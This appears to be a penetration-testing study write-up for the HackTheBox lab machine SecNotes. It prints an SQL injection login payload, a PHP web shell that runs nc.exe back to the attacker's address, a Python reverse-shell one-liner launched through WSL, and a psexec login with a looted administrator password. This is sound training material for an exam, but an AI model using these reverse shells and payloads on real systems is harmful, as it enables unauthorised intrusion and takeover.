Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • 🔥PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • 💣HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Summary
  • Enumeration
  • Initial Foothold
  • Privilege Escalation

Was this helpful?

  1. OSCP Machine Writeups
  2. HackTheBox

SecNotes

Summary

  • Only three ports were open: 80 (web), 445 (SMB), and 8808 (IIS default page).

  • The main site (/login.php) hosted a note-taking app vulnerable to SQL injection and CSRF.

  • Exploited SQLi via the registration form to gain access as admin by using 'OR 1 OR' as the username.

  • Retrieved SMB credentials for user tyler from the admin dashboard.

  • With SMB access, uploaded a reverse shell using nc.exe to the writable new-site share.

  • Got initial shell via browser-based trigger of the uploaded PHP payload.

  • Privilege escalation was achieved using WSL abuse — the bash.exe binary was found, and we obtained a root shell through reverse shell from WSL.

  • bash_history revealed Administrator credentials.

  • Used psexec with Administrator creds to get SYSTEM access.


Enumeration

nmap -p- -T5 10.10.10.97 -vv
sudo nmap -sC -sN -A -oN full.nmap -p80,135,139,445,8808 10.10.10.97

Discovered:

  • Port 80: Secure Notes login panel (login.php)

  • Port 8808: Default IIS page

  • Port 445: SMB with new-site share (eventually writable)


Initial Foothold

Web App (Port 80)

SQL Injection on Sign-Up page:

# Registration payload
Username: 'OR 1 OR'
Password: anything

Logged in as admin and saw notes containing the following credentials:

Username: tyler
Password: <FINDIT!>

SMB Enumeration

crackmapexec smb 10.10.10.97 -u 'tyler' -p <FINDIT!> --shares

# Result:
new-site - READ,WRITE

Uploaded reverse shell via SMB:

  • nc.exe

  • PHP shell to execute nc.exe -e cmd.exe

Then triggered it from browser:

<?php system("nc.exe -e cmd.exe 10.10.16.2 8888"); ?>

Listener:

nc -lvnp 8888

Shell obtained!


Privilege Escalation

WSL Abuse

Located WSL:

where /R C:\windows bash.exe
# Found at:
C:\Windows\WinSxS\...\bash.exe

Checked current WSL user:

wsl whoami
# Output:
root

Spawned root shell via reverse connection from WSL:

# Listener
nc -lvnp 9999

# Command on target:
wsl python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.16.2",9999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Escaped limited shell:

python -c 'import pty; pty.spawn("/bin/bash")'

Looted .bash_history → Revealed Administrator SMB credentials:

Username: administrator
Password: u6!4ZwgwOM#^OBf#Nwnh

SYSTEM Shell via psexec

impacket-psexec SECNOTES/administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97

Boom! Got SYSTEM access and root flag.

PreviousActiveNextAccess

Last updated 8 days ago

Was this helpful?

💣